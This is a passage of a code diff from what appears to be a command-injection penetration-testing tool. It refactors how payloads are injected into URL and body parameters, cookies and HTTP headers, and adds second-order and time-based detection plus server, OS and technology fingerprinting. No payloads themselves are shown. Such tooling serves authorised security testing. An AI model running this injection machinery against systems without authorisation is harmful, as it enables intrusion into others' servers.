referer_injection(url, vuln_parameter, payload): +def with_retry_on(request, response): + if menu.options.retry_on and response is not None and not isinstance(response, bool): + return retry_on_undesired_content(request, response) + return response - def inject_referer(url, vuln_parameter, payload, proxy): +def get_request_response(request): - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) + response = headers.check_http_traffic(request) + if response is None: + try: + response = headers.resend(request) + except Exception as err_msg: + response = request_failed(err_msg) - # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + return with_retry_on(request, response) + +""" +The page a second-order injection shows up on, which is not the page the payload was sent to. + +A target that stores what it is given and runs it somewhere else - a queue, a log viewer, an admin +page - answers the injected request with nothing at all. So that answer is set aside and the page +named by '--second-url'/'--second-req' is fetched in its place, and read for the result instead. +""" +def second_order_response(payload=None): + if settings.in_side_request("second_order"): + return None + if not menu.options.second_url and not settings.SECOND_ORDER_REQUEST: + return None + # Looking for a protection in the way is not an injection, so its answer is not looked for + # anywhere else either. + if payload and settings.WAF_CHECK_PAYLOAD in str(payload): + return None + + settings.set_side_request("second_order", True) + try: + # The stored request may say where the payload goes, the way the target's own parameters do. + def _with_payload(value): + if value and settings.INJECT_TAG in value: + return checks.process_injectable_value(checks.encode_payload(payload or ""), value) + return value + + if menu.options.second_url: + request = _urllib.request.Request(_with_payload(menu.options.second_url), method=settings.HTTPMETHOD.GET) + headers.do_check(request) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) - #Check if defined extra headers. - headers.do_check(request) - payload = checks.newline_fixation(payload) - request.add_header('Referer', payload) - try: - headers.check_http_traffic(request) - response = opener.open(request) - return response - except ValueError: - pass + stored = settings.SECOND_ORDER_REQUEST + data = _with_payload(stored["data"]) + request = _urllib.request.Request(_with_payload(stored["url"]), data.encode(settings.DEFAULT_CODEC) if data else None, method=stored["method"] or settings.HTTPMETHOD.GET) + for header_name, header_value in stored["headers"]: + request.add_header(header_name, _with_payload(header_value)) + if settings.VERBOSITY_LEVEL >= 2: + debug_msg = "Reading the result from '" + request.get_full_url() + "', where the output of a second-order injection shows up." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return get_request_response(request) + except Exception: + return None + finally: + settings.set_side_request("second_order", False) - if settings.TIME_RELATIVE_ATTACK : +""" +Check if target host is vulnerable. +""" +def init_injection(payload, http_request_method, url): + if settings.TIME_RELATED_ATTACK: start = 0 end = 0 start = time.time() - proxy = None - #response = inject_referer(url, vuln_parameter, payload, proxy) - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_referer(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) - response = inject_referer(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - try: - response = inject_referer(url, vuln_parameter, payload, proxy) - - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if settings.TIME_RELATIVE_ATTACK : - end = time.time() - how_long = int(end - start) - return how_long + """ + Encoded as the last thing before it is spliced into a carrier that is URL-encoded. + + A payload arrives with its boundaries, its whitespace and its tamper scripts already applied, and + it is full of characters that end a parameter where it is going: an '&' or an '=' out of the + user's own command split the query or the body in two and truncated the payload. What the payload + wrote for itself survives, '%' being the one character left alone - and the carrier is encoded + separately, keeping the '&' and '=' that do its own separating. + + A JSON or XML body is not URL-encoded and the target never decodes one, so those carry the + payload as it is and do their own escaping below. + """ + def encoded_for_url(value): + return checks.encode_payload(value) + + if settings.INJECT_TAG in url: + vuln_parameter = parameters.vuln_GET_param(url) + target = checks.process_injectable_value(encoded_for_url(payload), url, pollute=True) + if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) + else: + request = _urllib.request.Request(target, method=http_request_method) else: - return response + parameter = menu.options.data + parameter = parameters.do_POST_check(parameter, http_request_method) + # Joined only to find which parameter carries the tag, so nothing here is encoded for a + # wire it never reaches - the '+' this escaped was in a value being read for its name. + parameter = ''.join(str(e) for e in parameter) + vuln_parameter = parameters.vuln_POST_param(parameter, url) + if settings.IS_JSON: + # Escaped for the string it is going into, not decoded: a payload is not URL-encoded by the + # time it gets here, so unquoting it only ever damaged one that held a per-cent sign. + data = checks.process_injectable_value(checks.escape_json_value(payload), menu.options.data) + try: + data = checks.json_data(data) + except ValueError: + pass + elif settings.IS_GRAPHQL: + # A document is not URL-encoded either, and escapes for its own string syntax alone. + data = checks.process_injectable_value(checks.graphql_escape_payload(payload), menu.options.data) + elif settings.IS_XML: + # Likewise here: nothing to decode, and the characters XML cannot carry at all are dropped. + data = checks.restore_xml_layout(checks.process_injectable_value(checks.xml_encode_payload(checks.strip_xml_forbidden(payload)), menu.options.data)) + else: + data = checks.process_injectable_value(encoded_for_url(payload), menu.options.data, pollute=True) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) + + headers.do_check(request) + response = get_request_response(request) + # Sent before the clock is stopped: a delay asked for by the payload is paid on the request + # above, and what is read below is the page it shows up on. + second_order = second_order_response(payload) + if second_order is not None: + response = second_order + + if settings.TIME_RELATED_ATTACK: + failed_attempts = 0 + # Only a request that never reached the target is worth sending again: an error status is still an answer, and asking for it again both pays the delay a second time and reads as a retried measurement, which discards the finding. + while response is False and not stability.answered_with_http_error() and failed_attempts < settings.TIME_RELATED_ATTACK_RETRIES: + failed_attempts += 1 + start = time.time() + response = get_request_response(request) + end = time.time() + response = end - start + + return response, vuln_parameter """ -Check if target host is vulnerable. (Host-based injection) +Check if target host is vulnerable, injecting payload via the given set_header(request, payload) callback. """ -def host_injection(url, vuln_parameter, payload): - - payload = _urllib.parse.urlparse(url).netloc + payload - - def inject_host(url, vuln_parameter, payload, proxy): - - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) +def header_injection(url, payload, http_request_method, set_header): + # Send the payload in an HTTP header rather than in a parameter. + def inject_header(url, payload, http_request_method): # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + if settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) - #Check if defined extra headers. - headers.do_check(request) - payload = checks.newline_fixation(payload) - request.add_header('Host', payload) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) + payload = checks.normalize_newlines(payload) + set_header(request, payload) try: - headers.check_http_traffic(request) - response = opener.open(request) - return response + return with_retry_on(request, headers.send_request(request)) except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() - proxy = None - #response = inject_host(url, vuln_parameter, payload, proxy) - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_host(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) - response = inject_host(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - try: - response = inject_host(url, vuln_parameter, payload, proxy) - - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if settings.TIME_RELATIVE_ATTACK : + try: + response = inject_header(url, payload, http_request_method) + except Exception as err_msg: + response = request_failed(err_msg) + second_order = second_order_response(payload) + if second_order is not None: + response = second_order + + if settings.TIME_RELATED_ATTACK : + failed_attempts = 0 + while response is False and not stability.answered_with_http_error() and failed_attempts < settings.TIME_RELATED_ATTACK_RETRIES: + failed_attempts += 1 + start = time.time() + try: + response = inject_header(url, payload, http_request_method) + except Exception as err_msg: + response = request_failed(err_msg) end = time.time() - how_long = int(end - start) - return how_long + exec_time = end - start + return exec_time else: return response - """ -Check if target host is vulnerable. (Custom header injection) +Check if target host is vulnerable. (Cookie-based injection) """ -def custom_header_injection(url, vuln_parameter, payload): - - def inject_custom_header(url, vuln_parameter, payload, proxy): +def cookie_injection(url, payload, http_request_method): + # Put the payload into the cookie, in place of the marker that says where it goes. + def set_cookie(request, payload): + if settings.INJECT_TAG in menu.options.cookie: + encoded_payload = checks.encode_payload(payload) + cookie = checks.process_injectable_value(encoded_payload, menu.options.cookie) + request.add_header(settings.COOKIE, cookie) + return header_injection(url, payload, http_request_method, set_cookie) - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) - - # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) - else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) - #Check if defined extra headers. - headers.do_check(request) - payload = checks.newline_fixation(payload) - request.add_header(settings.CUSTOM_HEADER_NAME, payload) - try: - headers.check_http_traffic(request) - response = opener.open(request) - return response - except ValueError: - pass +""" +Check if target host is vulnerable. (User-Agent-based injection) +""" +def user_agent_injection(url, payload, http_request_method): + return header_injection(url, payload, http_request_method, lambda request, payload: request.add_header(settings.USER_AGENT, payload)) - if settings.TIME_RELATIVE_ATTACK : - start = 0 - end = 0 - start = time.time() +""" +Check if target host is vulnerable. (Referer-based injection) +""" +def referer_injection(url, payload, http_request_method): + return header_injection(url, payload, http_request_method, lambda request, payload: request.add_header(settings.REFERER, payload)) - proxy = None - #response = inject_custom_header(url, vuln_parameter, payload, proxy) +""" +Check if target host is vulnerable. (Host-based injection) +""" +def host_injection(url, payload, http_request_method): + return header_injection(url, payload, http_request_method, lambda request, payload: request.add_header(settings.HOST, payload)) - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_custom_header(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) - response = inject_custom_header(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - try: - response = inject_custom_header(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if settings.TIME_RELATIVE_ATTACK : - end = time.time() - how_long = int(end - start) - return how_long - else: - return response +""" +Check if target host is vulnerable. (Custom header injection) +""" +def custom_header_injection(url, payload, http_request_method): + return header_injection(url, payload, http_request_method, lambda request, payload: request.add_header(settings.CUSTOM_HEADER_NAME, payload)) """ -Target's encoding detection +Detect the character encoding of the target web page. """ def encoding_detection(response): - if not menu.options.encoding: - charset_detected = False - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the indicated web-page charset. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + charset = None + + try: + # Read once + content_bytes = response.read() + try: + content_text = content_bytes[:1024].decode("utf-8", errors="ignore") + except (Exception, SystemExit): + content_text = "" + + # 1. Get charset from HTTP header (may be None) try: - # Detecting charset + header_charset = response.headers.getparam('charset') # Python 2 + except AttributeError: try: - # Support for python 2.7.x - charset = response.headers.getparam('charset') - except AttributeError: - # Support for python 3.x - charset = response.headers.get_content_charset() - if charset != None and len(charset) != 0 : - charset_detected = True - else: - content = re.findall(r"charset=['\"](.*)['\"]", response.read())[0] - if len(content) != 0 : - charset = content - charset_detected = True - else: - # Check if HTML5 format - charset = re.findall(r"charset=['\"](.*?)['\"]", response.read())[0] - if len(charset) != 0 : - charset_detected = True - # Check the identifyied charset - if charset_detected : - settings.DEFAULT_PAGE_ENCODING = charset - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: - warn_msg = "The indicated web-page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." - print(settings.print_warning_msg(warn_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The indicated web-page charset appears to be " - debug_msg += settings.DEFAULT_PAGE_ENCODING + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) - else: - pass - except: - pass - if charset_detected == False and settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Heuristics have failed to identify indicated web-page charset." - print(settings.print_warning_msg(warn_msg)) + header_charset = response.headers.get_content_charset() # Python 3 + except (Exception, SystemExit): + header_charset = None + + if header_charset: + header_charset = header_charset.strip().lower() + + # 2. Find all meta charset declarations + + # HTML5 <meta charset="..."> + meta_charset_match = re.search(r'<meta\s+charset=["\']?([a-zA-Z0-9\-_]+)["\']?', content_text, re.I) + + # HTML4 <meta http-equiv="Content-Type" content="text/html; charset=..."> + meta_http_equiv_match = re.search( + r'<meta\s+http-equiv=["\']Content-Type["\']\s+content=["\'][^"\']*charset=([a-zA-Z0-9\-_]+)', + content_text, re.I) + + # Decide priority: prefer meta charset, then meta http-equiv, then header + if meta_charset_match: + charset = meta_charset_match.group(1).strip().lower() + elif meta_http_equiv_match: + charset = meta_http_equiv_match.group(1).strip().lower() + elif header_charset: + charset = header_charset + else: + charset = None -""" -Procedure for target application identification -""" -def technology_detection(response): - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the technology supporting the target application. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - print(settings.SINGLE_WHITESPACE) - try: - if len(response.info()['X-Powered-By']) != 0: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target application is powered by " - debug_msg += response.info()['X-Powered-By'] + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) + # 3. Nothing declared, so what the pages are read with stays what it already was. + if not charset: + return - except Exception as e: - if settings.VERBOSITY_LEVEL != 0: - warn_msg = "Heuristics have failed to identify the technology supporting the target application." - print(settings.print_warning_msg(warn_msg)) + # 4. Kept only where it can actually be decoded with, so a page is never read through an + # encoding the platform does not have. + if settings.known_encoding(charset) and settings.ascii_transparent_encoding(charset): + settings.DEFAULT_PAGE_ENCODING = charset + else: + settings.DEFAULT_PAGE_ENCODING = settings.DEFAULT_CODEC + warn_msg = "The web page declares the character encoding as '" + charset + "', which is not recognized." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + except Exception: + pass """ -Procedure for target application identification +Identify the target application's type based on the URL extension. """ -def application_identification(url): - found_application_extension = False - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target application." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() +def application_identification(url, response=None): root, application_extension = splitext(_urllib.parse.urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() - + + x_powered_by = response.info().get(settings.X_POWERED_BY, "") if response is not None else "" + if not settings.TARGET_APPLICATION and x_powered_by: + match = re.search(r"PHP|ASP\.NET|JSP", x_powered_by, re.IGNORECASE) + if match: + settings.TARGET_APPLICATION = match.group(0).upper() + if settings.TARGET_APPLICATION: - found_application_extension = True + # The version, where the header names one. Read as digits and dots only: a packaged build writes + # its packaging after the version ("5.5.9-1ubuntu4.6"), which is the distribution's and not the + # application's. + version = re.search(re.escape(settings.TARGET_APPLICATION) + r"[\-\_\/\ ]([\d\.]+)", x_powered_by, re.IGNORECASE) + if version: + settings.TARGET_APPLICATION_VERSION = version.group(1).rstrip(".") + + # The application and the language an evaluated string is tried in are the same question, so + # they are answered once and said once, rather than naming the same language twice over. + checks.note_evaluated_language(settings.TARGET_APPLICATION, x_powered_by) if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - debug_msg = "The target application identified as " - debug_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) - - # Check for unsupported target applications - for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)): - if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower(): - err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + debug_msg = "The web application technology is '" + settings.TARGET_APPLICATION + "'." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) - if not found_application_extension: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Heuristics have failed to identify target application." - print(settings.print_warning_msg(warn_msg)) + for unsupported in settings.UNSUPPORTED_TARGET_APPLICATION: + if settings.TARGET_APPLICATION.lower() in unsupported.lower(): + err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) """ -Procedure for target server's identification. +Detect the underlying operating system of the target server based on server headers. """ -def server_identification(server_banner): - found_server_banner = False - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target server. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() +def check_os(server_header): + if menu.options.os: + checks.user_defined_os() - for i in range(0,len(settings.SERVER_BANNERS)): - match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower()) + named = "" + for banner in settings.SERVER_OS_BANNERS: + match = re.search(banner, server_header, re.IGNORECASE) if match: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target server identified as " - debug_msg += server_banner + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) - settings.SERVER_BANNER = match.group(0) - found_server_banner = True - # Set up default root paths - if "apache" in settings.SERVER_BANNER.lower(): - if settings.TARGET_OS == "win": - settings.WEB_ROOT = "\\htdocs" - else: - settings.WEB_ROOT = "/var/www" - elif "nginx" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = "/usr/share/nginx" - elif "microsoft-iis" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = "\\inetpub\\wwwroot" + # What the banner spells out, rather than the family it puts the target in. + named = match.group(0) + checks.set_target_os(named) + + if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.shellshock: + err_msg = "The 'shellshock' module is not available for Windows targets." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) break - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "The server which identified as '" - warn_msg += server_banner + "' seems unknown." - print(settings.print_warning_msg(warn_msg)) + + if named and settings.VERBOSITY_LEVEL != 0: + debug_msg = "The web server operating system is '" + named + "'" + debug_msg += " (" + checks.target_os_label() + ")." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + """ -Procedure for target server's operating system identification. +Identify the underlying technology or framework powering the target application. """ -def check_target_os(server_banner): - found_os_server = False - if menu.options.os and checks.user_defined_os(): - user_defined_os = settings.TARGET_OS +def technology_identification(response): + try: + x_powered_by = response.info().get(settings.X_POWERED_BY, "").strip() - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target operating system. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + # Not reported on its own: what it settles - the operating system, and the language an + # evaluated string is tried in - is each said where it is settled. + if x_powered_by: + check_os(x_powered_by) + + except Exception: + pass - # Procedure for target OS identification. - for i in range(0,len(settings.SERVER_OS_BANNERS)): - match = re.search(settings.SERVER_OS_BANNERS[i].lower(), server_banner.lower()) + +""" +Identify the software running on the target web server. +""" +def server_identification(response): + server_banner = response.info().get(settings.SERVER, "").strip() + for banner in settings.SERVER_BANNERS: + match = re.search(banner, server_banner, re.IGNORECASE) if match: - found_os_server = True - settings.TARGET_OS = match.group(0) - match = re.search(r"microsoft|win", settings.TARGET_OS) - if match: - identified_os = "Windows" - if menu.options.os and user_defined_os != "win": - if not checks.identified_os(): - settings.TARGET_OS = user_defined_os - - settings.TARGET_OS = identified_os[:3].lower() - if menu.options.shellshock: - err_msg = "The shellshock module is not available for " - err_msg += identified_os + " targets." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - identified_os = "Unix-like (" + settings.TARGET_OS + ")" - if menu.options.os and user_defined_os == "win": - if not checks.identified_os(): - settings.TARGET_OS = user_defined_os - - if settings.VERBOSITY_LEVEL != 0 : - if found_os_server: - print(settings.SINGLE_WHITESPACE) - debug_msg = "The target operating system appears to be " - debug_msg += identified_os.title() + Style.RESET_ALL + "." - 